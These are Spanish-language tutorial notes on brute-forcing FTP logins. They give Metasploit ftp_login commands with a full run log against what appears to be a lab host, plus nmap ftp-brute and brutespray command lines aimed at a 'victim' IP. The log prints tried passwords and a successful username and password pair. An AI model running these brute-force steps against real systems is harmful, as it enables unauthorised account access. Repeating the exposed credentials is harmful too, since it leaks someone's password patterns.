

Pasos FTP

Fuerza Bruta

Hacking por fuerza bruta

- De igual manera que usando **metasploit**: msfconsole
 - Buscamos con: ``search ftp_login``
 - Utilizamos ese exploit con: `use auxiliary/scanner/ftp/ftp_login`
 - Llenamos los parametros de la misma manera que con **SSH** y esperamos:

```
msf5 auxiliary(scanner/ftp/ftp_login) > run
[*] 192.168.1.2:21 - 192.168.1.2:21 - Starting FTP login sweep
[*] 192.168.1.2:21 - No active DB -- Credential data will not be saved!
[-] 192.168.1.2:21 - 192.168.1.2:21 - LOGIN FAILED: vlada:vlada.free98 (Incorrect: )
[-] 192.168.1.2:21 - 192.168.1.2:21 - LOGIN FAILED: vlada:vlada9898 (Incorrect: )
[-] 192.168.1.2:21 - 192.168.1.2:21 - LOGIN FAILED: vlada:toborochi9811 (Incorrect: )
[-] 192.168.1.2:21 - 192.168.1.2:21 - LOGIN FAILED: vlada:vlada071198 (Incorrect: )
[-] 192.168.1.2:21 - 192.168.1.2:21 - LOGIN FAILED: vlada:011198vlada (Incorrect: )
[-] 192.168.1.2:21 - 192.168.1.2:21 - LOGIN FAILED: vlada:elsenordelosmartillos (Incorrect: )
[-] 192.168.1.2:21 - 192.168.1.2:21 - LOGIN FAILED: leonardoav:vlada.free98 (Incorrect: )
[-] 192.168.1.2:21 - 192.168.1.2:21 - LOGIN FAILED: leonardoav:vlada9898 (Incorrect: )
[-] 192.168.1.2:21 - 192.168.1.2:21 - LOGIN FAILED: leonardoav:toborochi9811 (Incorrect: )
[-] 192.168.1.2:21 - 192.168.1.2:21 - LOGIN FAILED: leonardoav:vlada071198 (Incorrect: )
[-] 192.168.1.2:21 - 192.168.1.2:21 - LOGIN FAILED: leonardoav:011198vlada (Incorrect: )
[-] 192.168.1.2:21 - 192.168.1.2:21 - LOGIN FAILED: leonardoav:elsenordelosmartillos (Incorrect: )
[-] 192.168.1.2:21 - 192.168.1.2:21 - Login Successful: toborochi:vlada.free98
[-] 192.168.1.2:21 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

- `nmap: <direccion ip victima> -p <puerto> --script ftp-brute -script-args userdb=users.txt,passdb=passwords.txt`
- Usando **brutespray** necesitamos primero crear un archivo **data.gnmap** con el siguiente comando: `nmap -sS -p<puerto> <ip victima> -oX data.gnmap` Luego, colocamos el siguiente comando: `brutespray --file data.gnmap -U users.txt -P passwords.txt --threads 5 --host 1 --service ftp`